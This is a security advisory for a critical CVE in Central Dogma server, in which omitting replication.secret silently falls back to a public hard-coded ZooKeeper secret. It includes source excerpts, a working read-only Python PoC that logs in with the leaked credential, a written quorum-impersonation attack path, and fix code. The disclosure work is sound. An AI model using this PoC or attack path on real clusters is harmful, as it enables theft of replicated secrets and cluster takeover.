CVE-2026-11746: Critical severity maven/com.linecorp.centraldogma/centraldogma-server vulnerability
Vulnerability
ZooKeeperReplicationConfig.secret() silently substitutes the hard-coded constant "ch4n63m3" (leetspeak for "change me") whenever the operator omits replication.secret. The same secret is wired into both the client-facing SASL context and the quorum/learner SASL contexts of the embedded ZooKeeper. The constant is in OSS source on GitHub and is discoverable via code search in seconds.
Three Reinforcing Defects
1. OSS-public credential — DEFAULTSECRET is in line/centraldogma source. 2. Silent fallback — firstNonNull(convertValue(...), DEFAULTSECRET) substitutes the default with no log, no warning, no startup banner. The only sanity check checkArgument(!secret().isEmpty(), ...) passes because the getter substitutes the literal before the emptiness check runs. 3. Dual-purpose secret — used for both ZK client-port super auth and inter-peer quorum SASL. A single leaked password authenticates against both surfaces.
Architecture Context (Important)
Central Dogma does NOT connect to an external ZooKeeper ensemble. Each replica embeds a QuorumPeer (EmbeddedZooKeeper extends QuorumPeer) inside its own JVM. The Central Dogma cluster IS the ZK ensemble. So the "ZK network" is the inter-replica network of the Central Dogma cluster itself.
Applicability
| replication.method | ZK Started? | Applicable? | |---|---|---| | NONE (standalone, dev default) | No | NOT applicable | | ZOOKEEPER (HA production) | Yes, embedded on every replica | Fully applicable — canonical production configuration |
---
Evidence
File: server/src/main/java/com/linecorp/centraldogma/server/ZooKeeperReplicationConfig.java Branch: main @ commit d64a5151
Line 53 — the constant:
java private static final String DEFAULTSECRET = "ch4n63m3";
Lines 210–215 — the silent fallback:
java / Returns the secret string used for authenticating the ZooKeeper peers. / public String secret() { return firstNonNull(convertValue(secret, "replication.secret"), DEFAULTSECRET); }
---
File: server/src/main/java/com/linecorp/centraldogma/server/internal/replication/ZooKeeperCommandExecutor.java Lines 586–607 — JAAS wiring (same secret on both surfaces):
java final String escapedSecret = jaasValueEscaper.escape(cfg.secret()); ImmutableList.of("Server", EmbeddedZooKeeper.SASLSERVERLOGINCONTEXT).forEach(name -> { buf.append(name).append(" {").append(newline); buf.append(DigestLoginModule.class.getName()).append(" required").append(newline); buf.append("usersuper=\"").append(escapedSecret).append("\";").append(newline); buf.append("};").append(newline); }); ImmutableList.of("Client", EmbeddedZooKeeper.SASLLEARNERLOGINCONTEXT).forEach(name -> { buf.append(name).append(" {").append(newline); buf.append(DigestLoginModule.class.getName()).append(" required").append(newline); buf.append("username=\"super\"").append(newline); buf.append("password=\"").append(escapedSecret).append("\";").append(newline); buf.append("};").append(newline); });
---
File: server/src/main/java/com/linecorp/centraldogma/server/internal/replication/EmbeddedZooKeeper.java
Line 44 — proves CD embeds the ZK server:
java final class EmbeddedZooKeeper extends QuorumPeer {
Lines 213–220 — client port binding (loopback only):
java private static ServerCnxnFactory createCnxnFactory(QuorumPeerConfig zkCfg) throws IOException { final InetSocketAddress bindAddr = zkCfg.getClientPortAddress(); final ServerCnxnFactory cnxnFactory = ServerCnxnFactory.createFactory(); // Listen only on 127.0.0.1 because we do not want to expose ZooKeeper to others. cnxnFactory.configure(new InetSocketAddress("127.0.0.1", bindAddr != null ? bindAddr.getPort() : 0), zkCfg.getMaxClientCnxns()); return cnxnFactory; }
Quorum/election ports are NOT loopback-bound — they bind to replication.servers[].host as configured, exposed on the inter-replica network.
---
PoC
Two attack surfaces, two scenarios. Surface A (client port, same-host) is implemented as a working read-only PoC. Surface B (quorum-port peer impersonation) is documented but intentionally not weaponized.
Surface A — Same-Host Client Port (Loopback) PoC
Python + kazoo + pure-sasl. Authenticates as super over SASL DIGEST-MD5 with the leaked secret and reads the full Central Dogma replication log. Hardcoded to 127.0.0.1, read-only, prints first 5 entries.
python #!/usr/bin/env python3 """ C3 PoC -- ZooKeeper default-secret takeover (read-only, loopback only).
Demonstrates that a Central Dogma instance launched with a ZooKeeper-replicated configuration but without replication.secret set exposes its embedded ZooKeeper to anyone with local-host access, using the well-known credential super / ch4n63m3.
SAFETY: Hardcoded to 127.0.0.1. Refuses any other target. Read-only. No writes are issued. No nodes are deleted. Limits how much data it prints (first MAXLOGS entries). """ from future import annotations
import sys
from kazoo.client import KazooClient from kazoo.exceptions import NoNodeError
HOST = "127.0.0.1" DEFAULTPORT = 2381 DEFAULTUSER = "super" DEFAULTSECRET = "ch4n63m3" # ZooKeeperReplicationConfig.DEFAULTSECRET MAXLOGS = 5
def main() -> int: port = int(sys.argv[1]) if len(sys.argv) > 1 else DEFAULTPORT if HOST != "127.0.0.1": print("Refusing to run against non-loopback host.", file=sys.stderr) return 2
zk = KazooClient( hosts=f"{HOST}:{port}", sasloptions={ "mechanism": "DIGEST-MD5", "username": DEFAULTUSER, "password": DEFAULTSECRET, }, readonly=True, timeout=5.0, ) try: zk.start(timeout=5) except Exception as exc: print(f"[!] Could not reach {HOST}:{port} -- {exc}", file=sys.stderr) return 1
try: try: logchildren = zk.getchildren("/dogma/logs") except NoNodeError: print("[i] /dogma/logs not present -- is replication actually enabled?") logchildren = []
print(f"[+] Authenticated as '{DEFAULTUSER}' with default secret.") print(f"[+] /dogma/logs has {len(logchildren)} entries.") for child in sorted(logchildren)[:MAXLOGS]: path = f"/dogma/logs/{child}" try: data, stat = zk.get(path) except NoNodeError: continue preview = data[:120].decode("utf-8", errors="replace") if data else "" print(f" - {path} ({stat.dataLength} bytes) preview={preview!r}")
try: blockchildren = zk.getchildren("/dogma/logblocks") print(f"[+] /dogma/logblocks has {len(blockchildren)} entries.") except NoNodeError: pass
print( f"[!] ZK cluster compromised: read {len(logchildren)} log entries " "with default credentials." ) return 0 finally: zk.stop() zk.close()
if name == "main": raise SystemExit(main())
Dependencies (requirements.txt): kazoo, pure-sasl
Setup: edit dist/src/conf/dogma.json to enable replication WITHOUT setting secret:
json { "replication": { "method": "ZOOKEEPER", "serverId": 1, "servers": { "1": { "host": "127.0.0.1", "quorumPort": 2382, "electionPort": 2383, "clientPort": 2381 } } } }
Note: replication.secret is INTENTIONALLY omitted. Launch with ./gradlew :dist:startup.
Run:
bash python3 zktakeover.py 2381
Expected output (VULNERABLE):
[+] Authenticated as 'super' with default secret. [+] /dogma/logs has 14 entries. - /dogma/logs/0000000001 (412 bytes) preview="{"size":..." - /dogma/logs/0000000002 (508 bytes) preview="{"size":..." ... [+] /dogma/logblocks has 14 entries. [!] ZK cluster compromised: read 14 log entries with default credentials.
After the patch (fail-closed on null/placeholder secret), Central Dogma refuses to start at all with this config.
Surface B — Inter-Replica Quorum-Port Peer Impersonation (Documented, Not Weaponized)
Quorum/election ports bind to the configured replication.servers[].host, NOT to loopback. In typical HA deployments (multi-DC, K8s with NetworkPolicy gaps, shared VPC), these ports are reachable from peer workloads.
Attack path:
1. Attacker reaches the quorum port of any Central Dogma replica from a co-located workload (same K8s namespace, same VLAN, etc.). 2. Attacker spins up their own Apache ZooKeeper process configured with: - matching serverId (or a new one if the QuorumVerifier allows dynamic membership) - JAAS QuorumLearner / QuorumServer digest contexts using super / ch4n63m3 - quorumServerSaslAuthRequired=true, quorumLearnerSaslAuthRequired=true 3. Attacker's process joins the quorum as a learner. SASL handshake passes because the secret matches. 4. Attacker now receives every replicated Command, can attempt to win leader election, and once in the cluster can write to /dogma/logs/ directly — which ZooKeeperCommandExecutor.replayLogs() will deserialize and execute on every legitimate replica.
Dangerous Commands the attacker can replay across the cluster (from Command.java:46-68):
| Command | Impact | |---|---| | PURGEPROJECT | Permanent deletion | | ROTATESESSIONMASTERKEY / REWRAPALLKEYS | Pivot encryption-at-rest layer to attacker-controlled keys | | UPDATESERVERSTATUS (read-only / maintenance) | Denial of Service | | CREATESESSION with crafted user info | Session forgery |
This PoC is intentionally NOT shipped as runnable code. It is closer to an attack tool than a verification artifact, and the audit's purpose is to drive the fix, not to provide weaponization. The Surface A PoC plus this documentation are sufficient to motivate remediation.
---
Impact
Threat Model (Realistic for LINE Corporate Deployment)
- Multi-tenant K8s where Central Dogma StatefulSet shares Pod network with other workloads - Or shared VPC/VLAN where the inter-replica quorum traffic is reachable from co-tenant hosts - Or single-tenant cluster where any sidecar/co-located process has loopback access (Surface A)
What an Attacker Gains with the Leaked Secret
1. Read the full replication log. /dogma/logs + /dogma/logblocks contain the Zstd-compressed ReplicationLog entries — every commit, every PUSH payload (with file contents), every credential mutation, every session/master-key management command. Includes CREATESESSIONMASTERKEY, ROTATESESSIONMASTERKEY, REWRAPALLKEYS. Reading this effectively renders the encryption-at-rest layer moot because the master-key management commands themselves traverse ZK.
2. Write to the replication log (Surface B). Forged LogMeta + logblocks entries are auto-replayed by ZooKeeperCommandExecutor.replayLogs() on every replica. The attacker gains arbitrary Command execution on the entire cluster.
3. Join the quorum as a fake peer (Surface B). With the secret, an attacker reachable on the inter-replica network can pose as a legitimate replica, receive all future commits in real time, and potentially win leadership.
Scope is Changed (CVSS) because ZK is a separate security authority from Central Dogma's HTTP API, and the impact propagates to every microservice consuming Central Dogma configuration via watch.
Incident recovery cost: secret rotation alone is insufficient. Every Command that traversed ZK during the compromise window must be audited. If master-key rotation commands were issued, all encryption-at-rest data must be re-encrypted. This is an extremely high-blast-radius failure mode for a single missing config knob.
Historical analogue: this is the same anti-pattern that caused Mirai (2016, IoT default credentials), pre-2018 unauthenticated Hadoop YARN clusters, and the recurring ZK / Elasticsearch / MongoDB internet-exposed-without-auth incidents 2018–2024.
---
How to Fix
Remove the default constant. Fail closed when replication.secret is missing or matches the legacy placeholder.
java // ZooKeeperReplicationConfig.java // REMOVE: private static final String DEFAULTSECRET = "ch4n63m3";
@JsonCreator ZooKeeperReplicationConfig(/ ...unchanged params... / @JsonProperty("secret") @Nullable String secret, / ... /) { // ... final String resolved = convertValue(secret, "replication.secret"); checkArgument(resolved != null && !resolved.isEmpty(), "'replication.secret' must be set (and non-empty) when " + "ZooKeeper replication is enabled. There is no default; " + "generate a long random string and configure it on every " + "replica."); // Reject the historical placeholder explicitly so existing config files // copy-pasted from old tutorials fail loudly instead of silently. checkArgument(!"ch4n63m3".equals(resolved), "'replication.secret' is set to the legacy placeholder " + "value. Replace it with a fresh random secret " + "(openssl rand -hex 32)."); // Optional: enforce minimum length (32 chars) and reject obvious placeholders. checkArgument(resolved.length() >= 32, "'replication.secret' must be at least 32 characters. " + "Use openssl rand -hex 32 to generate one."); this.secret = resolved; }
public String secret() { return secret; // never null at this point }
Other sources
A vulnerability has been identified in centraldogma-server versions prior to 0.84.0, where enabling ZooKeeper replication without setting replication.secret causes the server to silently fall back to a hard-coded, publicly known secret. This default credential authenticates the embedded ZooKeeper ensemble, allowing an attacker with network access to read the full replication log or join the quorum and execute arbitrary replicated commands across the cluster.
— NVD
Affected Software
Remediation
Recommended actions to resolve this vulnerability, in priority order.
- Upgrade
Upgrade
maven/com.linecorp.centraldogma:centraldogma-serverto a version that resolves this vulnerability.Fixed in 0.84.0 - Configuration
Set replication.secret in dist/src/conf/dogma.json to a non-empty random value with at least 32 characters on every replica. The material states to generate it with `openssl rand -hex 32` and configure it on every mechanism/replica.
Central Dogma ZooKeeper replication (dist/src/conf/dogma.json / ZooKeeperReplicationConfig) replication.secret = >=32 characters; not empty; not the legacy placeholder - Configuration
Configure/upgrade the server behavior to fail closed when replication.secret is missing or matches the legacy placeholder instead of silently substituting the hard-coded DEFAULT_SECRET. The material states Central Dogma refuses to start at all after the patch if this config is missing or matches the legacy placeholder.
Central Dogma ZooKeeper replication (ZooKeeperReplicationConfig.secret()) fail-closed behavior when replication.secret is missing/legacy placeholder = enabled (reject startup) - Operational
After applying the fail-closed fix and updating replication.secret, audit every ZooKeeper-replicated Command from the compromise window and re-encrypt any encryption-at-rest data if master-key rotation commands (e.g., CREATE_SESSION_MASTER_KEY / ROTATE_SESSION_MASTER_KEY / REWRAP_ALL_KEYS) were issued.
Event History
Frequently Asked Questions
What is the severity of CVE-2026-11746?
The severity of CVE-2026-11746 is critical with a CVSS score of 9.4.
How do I fix CVE-2026-11746?
To fix CVE-2026-11746, upgrade to centraldogma-server version 0.84.0 or later and ensure that the replication.secret is properly configured.
What impact does CVE-2026-11746 have on my system?
CVE-2026-11746 can lead to unauthorized access as the server may use a hard-coded public secret if replication.secret is not set.
Is there a workaround for CVE-2026-11746?
The only effective workaround for CVE-2026-11746 is to upgrade the software and configure the replication.secret correctly.
Which software is affected by CVE-2026-11746?
CVE-2026-11746 affects centraldogma-server versions prior to 0.84.0.